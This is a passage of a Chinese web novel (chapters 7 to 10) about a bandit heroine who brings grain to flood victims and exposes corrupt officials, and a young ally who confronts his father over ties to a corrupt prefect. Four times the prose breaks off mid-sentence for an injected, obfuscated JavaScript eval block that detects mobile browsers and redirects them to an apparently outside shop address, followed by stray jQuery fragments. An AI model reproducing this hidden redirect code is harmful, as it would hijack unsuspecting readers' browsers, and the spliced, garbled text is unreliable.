“只是县里发生了这般大事,老夫身为县令,不能好好招待贵客,还请见谅。”
“不知...万老板的商队内有多少余粮?”
县令捋着胡子绕了一大圈,终于说到正题上。
万迎雪答道:“目前商队带的粮食不多,但是在下已传信东家,估计两三天内会陆陆续续再运来一些。”
“好好好!”县令抚掌大笑,“万老板青年才俊,便有如此济世之心,人才也!栋梁也!”
万迎雪回道:“不敢当不敢当。粮是东家的,愿意相信我的是县令您,在下不过是承了您二位的情。”
一番话夸得县令乐不可支,心头上最大的担忧被万迎雪解决了,人也放松了几分。他拉着万迎雪等人聊了许久,才恍然想起人家远道而来,还没歇息,又连忙招呼小兵带万迎雪一行人住下,还特意嘱咐道:“万不可怠慢!”
此时的贺锦元过得就没这么舒坦了。
他到底还是没穿那一身黑,换了套正常点的打扮,与阙双滢等人等候在城外密林之中。
阙双滢挑着眉,上下打量了一圈贺锦元,啧啧道:“贺少爷把那身破布扔了?”
提起这个贺锦元就心头火起:“你不是说迎雪姐会喜欢吗!”
阙双滢一脸无辜:“我是说——‘迎雪姐姐可能会喜欢’呀。”
“她分明没有喜欢!”贺锦元继续控诉。
阙双滢一耸肩:“那就’没可能’嘛。”
“你!”贺锦元气得说不出话,自己找了个最远的角落蹲着薅草叶去了。
看得阙双滢心情大好。
片刻后,换岗的一组官兵在门口站定,与守卫核对好令牌后交换接岗。
见状,阙双滢捡了个石头向贺锦元丢过去:“快过来,换岗了。”
贺锦元拍拍身上的土,路过她时重重地“哼”了一声,向着城门走去。
“嘁,幼稚”大事在前,阙双滢懒得和他计较。
待贺锦元行至城门前,一块令牌从怀里掏出,在两个守卫眼前晃了晃,守卫立刻心领神会地开了门,一辆辆运粮车自小门运出,阙双滢带人上前与其接应。
打包捆装好的粮食一袋袋地从运粮车转到板车上,阙双滢对着货单一件件清点。
就在这时,城楼上烽火一盏连一盏地被点起,漆黑的天空瞬间被照亮。
不知从哪冲出来的官兵将守卫两人摁在地上,利刃架在脖子上,吓得两人直喊“冤枉啊,大人饶命,贺大人快救我们啊!”
但这时贺锦元哪里顾得上他们,只见城门缓缓推开,官兵列队而出,将他们团团围住。
一人负手踱步而出:“贺锦元,你被山匪拐骗走,老夫只当你年少无知。你若乖乖跟我回家,我便不再责罚。”
贺锦元定睛一看,此人正是他的父亲,贺弘文,贺通判。
而贺弘文身后点头哈腰的人,想来便是那被万迎雪劫了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527295|203572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将近二十万两白银的于应进,于知府。
父亲怎么和他混在一起?
益鸿巡抚呢?
贺锦元难得没有直接怼回去,没有直接指着他老爹问。
贺弘文厉声道:“孽子,你还不过来!”
周围的官兵顿时拔剑出鞘。
贺锦元环视一圈,拔刀指着跪在地上的两人,问道:“他们告诉你的?”
亏他还以为刚才那声“贺大人饶命”求的是他,原来是他老爹。
贺弘文冷哼一声:“你拿着贺家的令牌,用着贺家的人脉,忘了贺家的家主是谁吗?”
贺锦元了然地点点头,忍了半天终究还是没忍住,刀尖指向于应进,问道:“他也是你的人脉?”
贺锦元的脾气随他爹,贺弘文此刻耐心也告了罄:“你有没有教养,我就是这么教你对长辈说话的吗?”
贺锦元咬着牙,额头青筋凸起,他握紧刀柄,刀尖在贺弘文和于应进两人之间移动。
贺弘文的态度太过明显,于应进这人显然与他有着不可告人的联系。
二十万两白银的事他知道吗?
他又参与了多少?
二十万两白银──这是劫下来的。
没劫下来的呢?
有多少进了于应进的口袋,有多少又进了他贺弘文的衣袖中?
贺锦元突然不合时宜地想到了万迎雪,之前劫道计划她只安排的具体行动和金额,却没有把具体明细给他看过。
万迎雪向来公开公正,只有她掌握了确切的证据,有了十足的把握才会确定劫道。甚至劫道前还会给每个主要行动的人过目,但是唯独那一次他没看见。
他突然笑了出来,笑声越来越大。
自己竟然现在才知道。
阙双滢担忧地唤了他一声:“贺锦元?”
贺锦元笑声越来越小,缓缓停住。
他抬起袖子,擦了下笑出来的眼泪,刀尖指向贺弘文,说道:“我跟你回去,你放了其他人,让他们把粮食运走。”
于应进一听这话,立刻急了。
这些粮食可是用的他的钱啊!
他刚要开口,贺弘文瞥了他一眼,只好把话又咽了回去。
“可以。”贺弘文开口道。
“你先让他们走。”贺锦元的刀尖依旧指向他。
贺弘文摆摆手,官兵让出一条通道。
阙双滢指挥着众人将粮食运出去,待最后一辆车走远,她担忧问道:“你怎么办?”
“你先去把粮食运过去,别让迎雪姐等急了。”贺锦元没有回答。
但阙双滢却看见他背在身后的另一只手做了个手势,这才稍稍放下心。
一声口哨,烈马自山上冲了下来,停在阙双滢旁边,她嘱咐道:“注意安全。”,随后上马向远方的运粮车队追去。
马蹄声渐渐消失,贺弘文出声道:“能走了?”
贺锦元手腕一松,刀掉落在地,周围官兵一拥而上,要将他绑起。
贺弘文一声吼道:“他还是我儿子呢!”
官兵们又不敢上前了。
贺锦元不屑地冷笑一声,整理好衣服,向城门走去。
路过城门时,贺弘文想要拉住贺锦元,却被他重重甩开,错身而去。
8. 第 8 章
水位还在上涨,一点点侵蚀着高地,灾民只得聚集在城门口。
官府支了一口大锅,柴火噼啪作响,米汤的香气飘出。
“官爷,再给我打一碗吧。母亲年事已高,腿脚不便,我帮她打一碗。”妇人捧着一碗米汤,指着远处树下的老妪,哀求道。
分米汤的小兵拿着勺子,大力敲了下锅沿,神色不耐:“你说她是你母亲就是你母亲?想多打碗米汤的都这么说,去去去,一边去。”
妇人被他喊得一哆嗦,后退两步,但是看着母亲还在树下等着她,她又上前几步:“您发发善心,多打一碗吧,她真是我的母亲。”
“快滚!”
妇人膝盖一软,刚想跪下,却被一双手拉起。
“你的母亲看着你呢。”来人扶住她,在妇人耳边轻轻说道。
此人一身红衣,墨发随意地用绳子束起,腰间配柄长刀。妇人只觉得那双看似瘦削的手,力道却大得出奇,不容分说地将她稳稳托起。
“你们谁能帮忙证明树下的人是她的母亲?”万迎雪的声音不大不小,刚好让排队领米汤的人听见。
方才妇人与小兵的争执,众人都看在眼里,皆是敢怒不敢言。
看万迎雪的周身气度也能猜出来,此人来头不小,有了她的开头,众人立刻跟上。
“我证明她们是母女!”
“她一个人照顾母亲我们都看在眼里!”
“你这人说话真有意思,你怎么不证明自己是亲娘的孩子?”
“你不是娘生娘养的吗?”
众人情绪激动,义愤填膺,将接连两日心中的不满通通发泄出来。
眼见人越聚越多,小兵也有些慌了神。
这位红衣女子他认得,昨日县令接待了位贵客的事,早已在官兵间传开。他当时也去帐前瞄了一眼,记住了女子模样。
要是她去县令那里说些什么……
小兵不敢细想,抖着勺子,从汤面斜切下去,在锅底转了一圈,盛上满是米粒的一勺,扣在碗里,给妇人递了过去。
虽然只有半碗米,但妇人已经很感激了。她接过米碗,冲着万迎雪连连致谢。泪水在眼眶里转了一圈,被她轻轻擦去。
“快去吧,你娘还等着你呢。”
妇人深深看了她一眼,似是要将她记在心底,随后转身向着母亲走去。
母亲年岁大了,眼神不好,远远见着女儿站在那里半天,心里焦急却也帮不上忙。
终于,女儿回来了,手里拿着一个碗。
妇人将装满米粒的碗递给老妪:“娘,你快吃。刚才我遇见一个大善人,这些都是她帮忙讨来的。我的那碗已经吃完了,特意给您带的。”
老妪接过这只比昨日沉了许多的碗,往嘴边送去。刚一接触到嘴唇,她便顿住了。
碗口是湿的。
她知道了这碗米沉了许多的原因。
泪水从浑浊的双眼中滴落在碗里。
“孩子,娘吃不下太多,你也吃口。”她将这碗米又推回妇人手中,紧紧握着她的手。
妇人笑了笑,抻出衣袖,挑了块干净的地方,为老妪擦去泪水:“好好地哭什么,大善人给得多,我吃得饱饱的呢。”
此时,万迎雪站在锅边,抱着臂膀看小兵一勺勺分米。
眼见着锅里满是汤水,怎么也捞不上来米粒,她瞟了眼旁边的岑云度,他立刻会意,出声问道:“昨日我家掌柜捐的粮食分明够在场的每人一碗,这才第一顿,米就见了底?”
原本就冷汗直冒的小兵,听了这句话更是抖如筛糠:“朝……朝廷的赈灾粮还在路上,县令大人……怕这段时间没得吃,让少做点。”
岑云度勾起唇角,眼中却没半分笑意:“既然是县令大人的命令,那还劳烦官爷带我们去见一见县令大人。”
‘官爷’二字差点让小兵跪下去,他抖着腿,弓着腰,连连应下,在身前引路。
万迎雪行至岑云度身边,小声说道:“你跟着他去见县令,我留在这等阙双滢。”
岑云度跟着小兵来到昨日的营帐门口,小兵与守卫交谈几句后,又带着他向城里走去,直接带到了县令府的门口。
岑云度出言问道:“你们县令大人卧房里的枕头是不是刚送来的?”
小兵不知此话何意,没敢接话。
岑云度也不需要他接话,自顾自说下去:“有了我家掌柜昨夜送来的粮食,你们县令大人真是‘高枕无忧’啊。”
小兵只当没听见,引着岑云度到会客厅,他就借机跑了。
茶水换了一盏又一盏,县令才姗姗来迟。
人还没进屋,笑声先进了岑云度的耳朵:“岑老板大驾光临,有失远迎,有失远迎啊!”
岑云度听着客气话,却没起身。他端起茶杯吹了吹浮叶,抿饮一口咽下。
县令想来是被捧惯了的,得知岑云度来意后,本就有意晾一晾他,立立规矩,谁承想反让他摆了架子。
县令的脸色当即便挂不住了。
“入口醇厚,咽后回甘。县令大人,你府上的茶水来头不小啊。”岑云度说道。
县令干笑两声:“岑老板不愧见多识广。”
岑云度继续说道:“见多识广算不上,只是刚好遇见过,但是在哪遇见的倒是记不太清了,不如县令大人跟我说说,你这茶从哪来的?”
县令忍他许久,又听见这般不客气的话,胡子当即飞起来:“本官叫你一声岑老板,是看在你们商队赠了粮食的份上。你不要得寸进尺,小心本官给你按个不敬朝廷命官的罪名,打入大牢!”
岑云度眼都没抬,品了口茶水后,将茶杯“哒”地一声搁在桌上,周身气度一变,县令仿佛觉得那只茶杯其实没有搁在桌上,而是敲在他脑门上。
“既然县令大人提到了粮食,那我们便来聊一聊粮食。按我朝律法规定,宣县属于小县,官粮储备不应少于六千石。足够五千人吃四个月。”
“这才受灾第二天,县令大人,你的粮呢?”
县令神色一慌,又压了下来:“官粮是能轻易开的吗,万一有大用处怎么办?再说了,现在不是有的吃吗!”
岑云度不慌不忙:“有的吃?县令大人确实有的吃。”
“你什么意思!”县令怒斥道,“黄口小儿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527296|203572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
胆敢顶撞朝廷命官,罪加一等!来人,来人呐!”
县令又惊又气,捂着心脏只喊“来人”,可他喊了半天,连个人影都没见到。
“人呢,死哪去了?一个个都吃干饭的吗!”
“别喊了,没人来的。”岑云度说道。
县令这才反应过来,眼前之人不简单:“你……”
岑云度将一块令牌扣在桌子上,金黄色的穗子在桌边一摇一晃。
县令瞪大眼睛,猛地跪下,头磕的一声比一声响:“下官不知殿下身份,殿下恕罪,殿下恕罪啊!”
他的指节一下一下敲着桌面,意有所指道:“只认身份不认人啊,县令大人。”
县令头都出了血,还在“咚咚”磕着。
岑云度没喊停,他哪里敢停。
岑云度又端起了桌上的茶杯,茶水已经凉透了。
他从容起身,将这杯茶水放在了县令面前,说道:“县令人缘不错啊。”
县令心里清楚,这哪里是真的夸他,可又不知如何回答,只能继续磕头。
“只能上贡给天家的茶叶,县令您也能品尝到,您这人缘不是一般的好。”
“下官错了,下官知错了!殿下您饶我一条狗命,我还有一家老小要养啊殿下!”
“茶叶怎么来的,你心里清楚。官粮怎么没的,能和我说说了吗?”岑云度勾着嘴角问道。
县令似是抓住了一线生机,涕泗横流:“是于应进,都是他授意的,跟我无关啊!他一个知府,我哪里敢说不啊殿下,求您为下官做主啊!”
意料之中的名字。
“来人。”
影一入门抱拳。
“给他纸和笔,看着他,把经过都写得一清二楚,签字画押一个不少。”转而又说道,“于应进让你卖官粮,律法让你守官粮。你卖而不守,看来在你心里于应进比律法大。”
“但我比律法小啊,县令大人会听我的话吗?”
靴子停在县令旁边,踩在那一摊血迹上。
县令都快哭出来了:“听听听……”
岑云度满意点点头:“配合我,你还能留下你全家的命……”
话没说完,人已经出了门。
但县令清楚那话是什么意思。
与此同时,万迎雪终于等来了送粮的一艘艘小船。
但船首处的那人却不是她安排好的贺锦元。
她的眉头当即蹙起。
贺锦元不是会轻易改变计划的人,定是发生了什么事。
果不其然,阙双滢一下船便向她冲来。
万迎雪一把接住,柔声问道:“发生什么事了,贺锦元呢,怎么是你来的?”
阙双滢憋了一路的委屈,此刻有了发泄之处,也不管有没有旁人看着,“哇”地一声哭出来:“贺……贺锦元被他爹抓回去了!”
“贺弘文!?”
小姑娘抬起埋在万迎雪怀里的头,眼睛红红的,问道:“迎雪姐姐知道他?”
万迎雪点点头,没有多做解释。她给阙双滢擦了擦脸,安慰道:“一路上累到了吧,先去休息,贺锦元那边我来处理。”
9. 第 9 章
“小郎君用过饭了吗?”侍从把手里的食盒递给门口的侍女,小声问道。
自从昨夜贺锦元被他亲爹抓回来,就关进了自己的卧房。贺弘文临走前下令,没有他的允许,苍蝇都不能飞进去一只。
本来他连饭都不打算让侍从给贺锦元送,但贺弘文架不住夫人哀求,才默许了给贺锦元送些餐食。
侍女指了指房门口一动未动的餐盒,摇摇头:“小郎君从昨晚到现在一口未动。”
侍从叹口气:“这一口饭都不吃,身体怎么遭得住啊!”
“他不吃就让他饿着!”一道声音从游廊处传来。
贺弘文被夫人劝了一晚上,本来打算在远处看看他这个小儿子,差不多就放出来了,结果却让他看见这一番场景,当即心头火起,快步走来。
游廊曲折,侍女跟在后面一路小跑也拦不住。他一脚踹在门上,木门猛地砸开。
“我救你回来,还救出错了?你知道那山匪是什么人,你知道她做了什么事?我贺家养你十七年,你屁颠颠就跟着人家跑了,你对得起谁?!”
贺锦元在他没进屋前就听见了门口的动静,因此,他坐在椅子上,目光平静。
“你还怪上我了,你还不吃饭了,你有能耐就一直不吃!”贺弘文气得脸色涨红,一通狠话说完却见他依旧无动于衷的样子,怒火更甚,“继续关……”
“于应进和你什么关系?”
贺弘文话没说完就被贺锦元打断了,突如其来的问题,让他一时没反应过来。
“什么?”他的火一下子堵在胸口。
贺锦元站起身,走到他的面前,一字一顿道:“于应进、和你、什么关系?”
“哈!”贺弘文这回反应过来了,他压下怒火,摆摆手,身后侍从侍女们有眼色地退出房间,把门关紧。
待众人都走干净,只剩他们父子二人后,贺弘文错过贺锦元,坐在桌子边,给自己倒了杯茶水,一饮而尽。
“说吧,你知道些什么?”贺弘文问道。
茶杯搁在桌上。
贺锦元回过身,目光紧紧盯着贺弘文,不放过一丝一毫的表情:“于应进,昌乐县人。于三十五岁时考取进士,担任永丰县县令,任期五年。”
“嘉佑二十年,担任知州,年四十一岁。嘉佑二十四年,于应进因检举上任平洲知府有功,经人举荐后,担任平洲知府。”
“从知县任职知州,担任知州时还立下大功,不满五年任期,提前担任知府。”
“你不觉得于应进这人晋升路子太顺了吗?就像有人助他一般。”
贺锦元话音顿了顿:“这个人就是你吧,就是你举荐的于应进担任平洲知府是不是?”
贺弘文指尖不自觉点着桌面,神色不明:“继续。”
他的反应在贺锦元意料之内,他继续说道:“不,不仅如此。上任平洲知府贪污腐败案从检举揭发到大理寺审理,总共加起不过十日便能草草结案。”
“这你也参与了?”
“继续。”贺弘文说道。
前面的话是贺锦元从万迎雪给的信息得知的,而后面则是他在昨天被关一晚上时,从那短短几句中猜的。
贺锦元大脑一时混乱,突然不知道怎么说了,他看着眼前的人,好像从来没有认识过他一般。
幼时对他谆谆教诲,要忠君爱国的人,如今却和大贪官有联系,甚至很有可能是大贪官的同谋。
他的脑海中霎时闪过很多画面,他被罚时的、被训时的、被夸奖时的。但所有画面最后都化成最后一个问题,他闭了闭眼,颤抖着问出口:“你……参与了多少?”
贺弘文又给自己斟了杯茶,茶水凉了,但他不介意,润了润嗓子:“你小子比我想象的聪明,看来,那个山匪还是教了你点有用的东西。”
此话一出口,贺锦元本来存在的最后一点希望彻底熄灭。
贺弘文继续说道:“你说得对,又不对。”
“举荐人不是我。”
贺锦元顿时屏住呼吸。
“但是我不能告诉你这人是谁。”
贺锦元要被气笑了,都这时候了还要包庇这人吗?
贺弘文没管他什么反应,自顾自说下去:“前任平洲知府的案子我确实有参与,至于参与了多少——以你现在的能力还没资格知道。”
“哈!什么不告诉我,什么我没资格知道,其实就是你根本没看得起我!一副父慈子孝的样子做给谁看?”贺锦元终于还是忍不住爆发了。
从小到大,他文不成武不就,贺弘文打他骂他都习惯了,反正他上面还有几个哥哥,天塌下来也轮不着他顶着。
他知道,贺弘文对他有偏见,觉得他做什么都不行,只会当个纨绔。就连这次去上山当山匪,在他那里也是小孩子过家家。如果不是万迎雪带着他劫了于应进的财,他贺弘文还不一定会来管他。
贺锦元深吸一口气,平复下心情,但他一看见贺弘文那副样子,情绪就失控,索性闭起眼睛,不再看他。
“当山匪是我自愿的,用不着你来当什么大圣人拯救我。”
“我知道她做了什么。她救人、发粮,用的都是从你们口袋里抢来的钱——你们这些人,走一步路,都能掉出半两黄金来!”
“你贺弘文有大志向,入朝为官几十载,想扶持谁就扶持谁,想拉谁下马就拉谁下马!你多厉害啊,你能吃饱饭,山珍海味你哪个吃不到?”
“怎么,丢了区区二十万两,贺大人就吃不饱饭了吗?”
“吃不饱饭就少吃点,让百姓多吃点!”
“贺锦元!”
“啪”地一声。
巴掌狠狠地扇在他的脸上。
贺锦元怒瞪着眼睛,一言不发。
贺弘文抡圆胳膊,又是一巴掌。
还没落在他的脸上,贺弘文却收了手。
他握紧拳头,指着贺锦元,气得半个字说不出来,哪里还有刚才的气定神闲。
贺锦元盯着他的眼睛,一手攥住贺弘文的手腕,一手掰开握紧的拳头。他咬紧牙关,额头青筋凸起,握着贺弘文的手就向自己脸上扇去。
“啪”
“啪”
“啪”
连打三下。
贺锦元用了十足的力气,脸上红印明显,隐隐泛着青紫。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527297|203572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
他从牙关中挤出话来:“你瞒着的事,我会替你查清楚。你贺大人要是觉得我挡了你的发财路,那就把我也送进去。”
说罢,他就要转身离开,行至门口时,沉默许久的贺弘文却开了口。
“万迎雪挡的不是我的路。”
贺锦元脚步一顿,最终还是向门外走去。
他知道,这句话已经是贺弘文良心发现的最大程度了,就算回去再问也问不出来。
门外侍从急得团团转,有机灵地去把夫人叫了来,但众人聚在紧闭的房门前,不敢靠近。
门从里面打开,众人皆是一惊。看见此人是贺锦元,又连忙去看屋内贺弘文的脸色,一时间踌躇着,要不要去拦下他。
贺夫人一见贺锦元脸上的巴掌印,当时眼泪便落了下来。她捏着帕子,想给他擦擦血丝,却又怕弄疼了他,进也不是退也不是。
“大夫呢,快去叫大夫来啊!”贺夫人抖着手,冲那一群人喊道,转而冲着屋内喊:“你下这么重的手要做什么!他是你儿子,你不心疼我还心疼呢!”
贺夫人擦擦眼泪,拉住贺锦元袖子,带着哭腔,柔声道:“乖儿,跟娘回去,娘给你上药,娘让厨子给你做你爱吃的菜,好不好?跟娘走……”
泪珠一颗一颗滴落,贺锦元拿过她手中的帕子,为贺夫人一点点擦去泪水:“娘,你回屋去吧,那边的百姓还等着我去分粮食呢,他们还没吃上饭,儿子吃不下。”
说罢,他将帕子放回贺夫人手中,温柔地拽出自己的袖子,大步向府外走去。
门外侍卫作势要拦,贺夫人一声喝道:“没听见他的话吗?他是要去让别人家吃饱饭的,我看谁敢拦!”
众侍卫又紧忙退去。
贺锦元顿了顿,到底还是没回头,走出贺府。
直到他不见了踪影。
此时的贺府却乱作一团。
贺夫人大步冲进屋内,照着贺弘文的脸就是一巴掌:“你满意了?现在这个局面你满意了是不是!?”
“我当初让你不要蹚这趟浑水,你偏不听,这下好了,儿子回不了家,你满意了!”
一番话说完,贺夫人便泄了力气,坐在桌边号啕大哭。
贺弘文被扇了一巴掌,此刻也不言语,只是一口一口地喝着那杯冷茶。
在贺锦元确认贺弘文没派人跟着后,他一路小跑,直奔城外。
再次回到城门口,贺锦元心中复杂,一夜之间,怎么就成这样了呢?
他不敢再想,一声口哨,密林中冲出一匹烈马。
烈马停在贺锦元面前,还刻意地跺了下蹄子,溅起一片沙土,呛得他连连咳嗽。
他拍拍马头:“小畜生,成精了嘿!”
烈马似是不满,鸣叫一声。
贺锦元翻身上马,苦笑着说道:“这两天让你受苦了啊,等我回去给你加餐,别生我的气了。”
烈马打了个响鼻,这才原谅了他,带着贺锦元向远方跑去。
贺锦元的身影逐渐缩小,直至消失在地平线上。
贺弘文到底瞒了他什么,于应进的事又参与多少,他贺锦元会自己去查清楚。
10. 第 10 章
贺锦元驾马狂奔,一路沿着阙双滢留下的标记来到宣县城郊。
水位接连上涨了三日,速度虽然逐渐减慢,却没有退去的迹象。
他勒马停在水边,阙双滢留下的记号也断在此地。再远望去,一艘木船摇摇晃晃地浮在水面上,顺着水流波动。
贺锦元盯着起起伏伏的小船陷入沉思。
说阙双滢没长脑子,但她留了船,还用绳子拴在了树上,怕船会被水推走。
夸她长了脑子,他又咽不下这口气——都想到水会把船推走了,怎么就不再多想一点,水位还在上涨呢!
昨夜,贺弘文突然带人围堵,迫使运送中断,只有一小批粮食被成功运出。负责运输剩余粮食人见情况不对,趁着混乱悄悄带着人逃走,因此大部分的粮食没被发现。
尽管贺锦元是贺弘文亲儿子,可看他气势汹汹的样子,阙双滢仍然不免有些担心,而万迎雪那边又正在等着这批粮食,她只能先行撤离。
阙双滢又急又慌。往日这种时候,贺锦元早一边骂她笨一边帮她想办法了。偏偏这回,连平日里依赖惯了的迎雪姐也不在身边。
众人的目光落在她身上,阙双滢握紧了拳头,压下心中的恐惧,学着平日里万迎雪的样子,指挥众人将粮食一袋袋运送到木船上。
绳子绕过树干打了几个结扣,木船牢牢地被绑在树上,她这才离开。
一晚上水涨得迅速,木船被水托起,说远也不远。如果能走两步,到树旁边,他就能解开绳子,乘船过去。
贺锦元一拍脑子,说干就干。他拢起衣袍,蹲在水边,伸出一只脚小心地试探水深,结果一脚踩空,险些掉入水里,吓得他又连滚带爬地回到岸上。
他一手扶着树,一手脱下鞋子倒出里面的水,倒扣在一边,扯了几片树叶勉强踮脚。此时,他的脸色阴沉得能和衣袍一般拧出水来。
就在他纠结是要再回贺府大闹一场去抢艘船,还是砍棵树漂过去时,远处水面上一叶孤舟映入眼帘。
只见撑舟人身形劲瘦高挑,手握竹篙,向着水面一挑,小舟便匀速地驶来。
贺锦元眼睛一亮,匆忙穿上还在控水的鞋子,朝着撑舟人狂招手:“迎雪姐,这里!”
小舟慢慢靠岸,他当即冲上前去,语气哀怨:“迎雪姐,你看看我让那老头子虐待的,饭都没吃!”
返程途中,万迎雪坐在小舟上,嘴角噙着笑,听着贺锦元一边撑舟一边诉苦。
这时,贺锦元话题一转:“迎雪姐,我知道于应进的事了。”
万迎雪敛起笑容:“你看见了?”
贺锦元嘿嘿一笑,却又像在掩饰些什么:“我猜的。”
“昨天晚上我被抓回去,一个人待在卧房里,太安静了,有点不适应,我就想起了你给我看过的于应进的生平。”
“你给我的信息其实真挺少的,但是就那几句话,我想了一晚上。”
“今天中午他来训我,我就直接问了他,我把我猜的都说出来了。”
“......他承认了”
竹篙拨动水面,水声卷着哽咽落在小舟之后。
“我……”
“我知道你为什么瞒着我了,谢谢你,迎雪姐。”
小舟随着撑蒿的动作缓慢滑行。
万迎雪没有说话,等着贺锦元自己平复好情绪,继续说道:“贺弘文说于应进举荐者另有其人,既然他不肯告诉我,那我就自己去查。于应进的事他到底参与了多少,我会查清楚。”
阳光透过云层,落在贺锦元脸上,本来泛红的脸上已经有些肿胀。
“他打的?”万迎雪瞥见他已经渗出血丝的脸,问道。
贺锦元摸了摸伤处,给自己疼得“嘶”一声,又傻笑一声:“我拿他手打的,劲使大了。”
见他那副傻样,万迎雪轻笑一声:“山匪生活就是锻炼人啊,贺少爷不仅脑子长了,身体素质也上来了。“随后,她继续说道,“正好沈大夫也来了,一会上岸去找他拿些药。你年纪还小,破了相就不好了。”
她的嗓音依旧平静,没有他想象中的可怜或者怜悯。
鼻子一酸,眼前当即模糊。他偷偷转头抹掉了眼泪,接着又状若无事地:“那当然,本公子这丰神俊秀的相貌可不能丢了。”
交谈间,小舟碰了岸。
阙双滢早已等候在岸边,见两人上岸,急忙迎过去,却被走在前面的贺锦元伸出指头戳在脑门上:“你真行啊,你怎么不把船绑水底下呢!”
阙双滢本来担心的眼角都湿润了,向两人走去时眼泪更是打转,关心的话即将脱口,就被这一指头戳了回去。
别说,效果真好。
眼泪不流了,人也不慌了。
就连担心都消散了。
只剩下气了。
贺锦元,你是惯会坏气氛的!
“姑奶奶给你留船,你不感恩戴德地叩谢姑奶奶就算了,我都没跟你计较,你还挑上我了!?”阙双滢手一挥,把那根令人讨厌的手指拍掉,眼睛一瞪,气愤说道。
贺锦元也来了劲:“诶呦,你还姑奶奶上了。你知不知道水是会上涨的!你看看,我差点掉水里去!”
他揪着身上湿透了的衣袍,转着圈展示给阙双滢看。
阙双滢轻蔑一笑,抱起胳膊,上下打量一番后,翻了个白眼:“旱鸭子不会游泳就闭上嘴,说不准掉水里扑腾几下就能够到船了!”
“你!”
“你什么你,旱鸭子嘴笨还嘴硬!”
这俩人一见面就吵架,还次次都是贺锦元挑的头。吵又吵不过阙双滢,万迎雪起初还试着劝过几回,后来也懒得管了。
她无奈摇摇头,错过两人,向营地里走去。
见万迎雪走了,两人也不斗嘴了,急忙追上。
“岑云度呢,还没回来吗?”万迎雪问道。
阙双滢环视一圈,抬手指去:“岑夫子已经回来了,他应该在......那里!”
万迎雪顺着她指的方向看去。
只见那人一身素白长袍,手里捧着书卷,被营地孩子们团团围在中间。有孩子说了什么,他唇角上扬,漂亮的眉眼弯起,眼角微微向上挑起,如春风拂面。
许是画面太过和谐,万迎雪不知何时也带了一丝笑意。
岑云度抬起头来,那带着笑意的模样便撞入他的眼中。
四目相对。
万迎雪也没掩饰,笑意更盛,露出那颗小虎牙,大步走来:“你们聊什么呢,岑哥哥讲了什么故事,听得这般开心?”说着,她将最近的那个小孩子揽进怀里,柔声问道。
岑哥哥?
岑云度一怔。
小孩子们见万迎雪来了,一窝蜂地凑在她身边,一只只小手举起,接过递来的糖果。
万迎雪怀里的小女孩甜甜说道:“岑哥哥和我们讲了你的故事!”
“我的故事?”万迎雪惊讶。
小女孩笑嘻嘻地搂紧万迎雪:“岑哥哥说万姐姐是大英雄,是会打坏人,给我们带来粮食,让我们吃饱饭的大英雄!”
“对呀
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527298|203572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对呀,岑哥哥说姐姐还会骑大马!”
“姐姐还救了哥哥!”
“姐姐是大英雄!”
有一个小孩子起了头,其他孩子顿时跟上,一时间吸引了不少人朝这边看来。万迎雪虽然自认比旁人更受得住调侃,但也架不住这么多小孩子围着转。
她头一次有些无措地瞟向岑云度。
岑云度正笑看着孩子们,瞥见万迎雪投来的求助目光,微微一怔,随即眼底的笑意更深了。
万迎雪见他非但不动,竟然看起热闹来了,当即眯起眼睛,一道眼刀直直射到岑云度身上。
“咳咳,好啦好啦。”岑云度笑着安抚道,将孩子们的注意力吸引过来。
他嗓音温润,孩子们顿时安静下来,一张张小脸齐刷刷地望着他。
岑云度笑道:“迎雪姐姐刚忙完,现在让大英雄好好休息一下,今天的故事就到这里,明天哥哥再来给你们讲好不好?”
“好——”
孩子们齐声答道。
见孩子们都跑去玩耍后,万迎雪伸手将人从地上拉起来,顺口问道:“怎么突然讲起我的故事了?”
他拍拍身上的土,整理好衣摆,温声说道:“小孩子都爱听些大英雄的故事,投其所好罢了。”
“大英雄那么多,干嘛讲我?再说,我又不是大英雄……”万迎雪有些疑惑。
